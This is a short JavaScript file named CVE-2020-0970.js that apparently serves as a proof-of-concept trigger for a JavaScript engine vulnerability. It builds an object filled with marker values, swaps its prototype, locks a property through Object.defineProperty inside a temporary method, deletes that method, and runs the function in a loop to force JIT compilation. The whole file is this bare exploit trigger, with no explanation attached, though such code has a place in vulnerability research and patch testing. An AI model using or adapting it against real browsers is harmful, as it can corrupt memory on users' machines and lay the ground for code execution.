CVE-2020-0970.js

function opt(o) {
    var obj = {
        a:0x41424344,
        b:0x123456,
        c:0x424344,
        d:0x434445,
    };
    obj.__proto__ = o;
    obj.fff = function () {
        Object.defineProperty(obj,"b",{
            configurable:0,
        });
    };
    obj.fff();
    delete obj.fff;
}
for (var i = 0; i < 100; i++) {
    opt({});
}